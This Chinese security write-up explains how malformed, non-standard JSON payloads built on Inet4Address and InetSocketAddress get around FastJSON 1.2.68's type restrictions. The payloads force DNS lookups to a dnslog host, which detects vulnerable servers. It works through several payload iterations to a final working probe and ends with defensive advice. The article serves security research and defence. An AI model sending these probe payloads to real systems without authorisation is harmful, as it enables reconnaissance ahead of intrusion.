高版本fastjson 为何畸形 payload 能够实现探测解析
字数 1673 2025-09-23 19:27:38
高版本FastJSON畸形Payload探测解析技术分析
一、背景概述
在高版本FastJSON(以1.2.68为例)中,由于对@type字段加强了安全限制并引入了白名单机制,传统的反序列化漏洞利用变得困难。然而,通过构造特定畸形Payload仍可实现DNS探测,这是渗透测试中重要的信息收集手段。
二、DNS探测原理
基本工作机制
- DNS查询发送:探测工具向目标发送DNS查询请求,查询类型包括A记录、NS记录、MX记录、TXT记录等
- 响应分析:根据返回的DNS响应信息分析目标域的IP地址、服务器配置和网络结构
- 层次结构探测:通过多类型DNS记录查询了解域名层次结构和权威DNS服务器
- 反向探测:通过PTR记录进行反向查询,获取IP地址关联的域名信息
安全意义
DNS探测是渗透测试中常见的信息收集技术,可用于了解目标网络结构和服务器配置,有效的防护措施可降低由此带来的安全风险。
三、FastJSON高版本限制分析
关键检测机制
在checkAutoType方法中,autoTypeSupport默认开启状态决定了黑白名单的拦截效果。分析发现仍有绕过可能性:
- Mapping缓存利用:如果目标类已存在于Mapping中,可直接利用
- Deserializers检测:如果目标类是FastJSON内置反序列化器支持的类,也可绕过限制
可利用类分析
通过分析发现,Inet4Address和Inet6Address类与DNS探测功能相关,且存在于FastJSON的反序列化器支持列表中,成为理想的利用目标。
四、Payload构造与解析过程
初始构造尝试
{"@type":"java.net.Inet4Address","val":"dnslog"}
此Payload能够成功触发DNS查询,但需要满足特定条件。
解析流程分析
- 类型检查阶段:FastJSON解析
@type字段,从deserializers中找到对应class - 反序列化入口:进入
DefaultJSONParser.java开始反序列化过程 - MiscCodec处理:转入
MiscCodec.deserialze方法处理特殊类型 - 字段解析:解析val属性值时触发DNS解析
关键解析逻辑
- 判断
clazz == InetSocketAddress.class(结果为false) - 解析器接受逗号分隔符(
parser.accept(JSONToken.COMMA)) - 验证key必须为"val",否则抛出异常
- 解析val的value值(即DNS地址)
- 通过
InetAddress.getByName()触发DNS查询
五、畸形Payload开发与调试
第一次问题:语法错误
{"@type":"java.net.InetSocketAddress",{"@type":"java.net.Inet4Address","val":"dnslog"}}
报错信息:JSONException: syntax error, expect {, actual ,
原因:解析器在parser.accept(JSONToken.LBRACE)处失败,期望遇到左大括号
第二次修正:调整结构
{"@type":"java.net.InetSocketAddress",{"address":{"@type":"java.net.Inet4Address","val":"dnslog"}}}
解析通过但未传入必要参数,无法完成有效DNS探测
第三次完善:参数补充
{"@type":"java.net.InetSocketAddress",{"address":{"@type":"java.net.Inet4Address","val":"dnslog"},"port":0}}
成功进入解析逻辑,解析address值时再次进入MiscCodec.deserialze方法
最终有效Payload
{"@type":"java.net.InetSocketAddress",{"address":{"@type":"java.net.Inet4Address","val":"dnslog"},"port":0}}
虽然不符合标准JSON语法,但FastJSON能够成功解析并触发DNS查询。
六、技术要点总结
- 绕过机制:利用FastJSON对非常规JSON语法的容错性实现绕过
- 类选择:
Inet4Address/Inet6Address存在于内置反序列化器支持列表 - 关键字段:必须使用"val"作为属性名才能通过验证
- 嵌套结构:通过
InetSocketAddress包装实现参数传递 - 解析特性:FastJSON在解析过程中会自动进行DNS查询
七、防护建议
- 严格限制FastJSON反序列化的输入源
- 及时更新至最新版本FastJSON
- 配置安全白名单,限制可反序列化的类
- 监控异常DNS查询行为
- 对用户输入进行严格校验和过滤
此技术主要用于安全研究和渗透测试,实际使用需遵守相关法律法规和授权规定。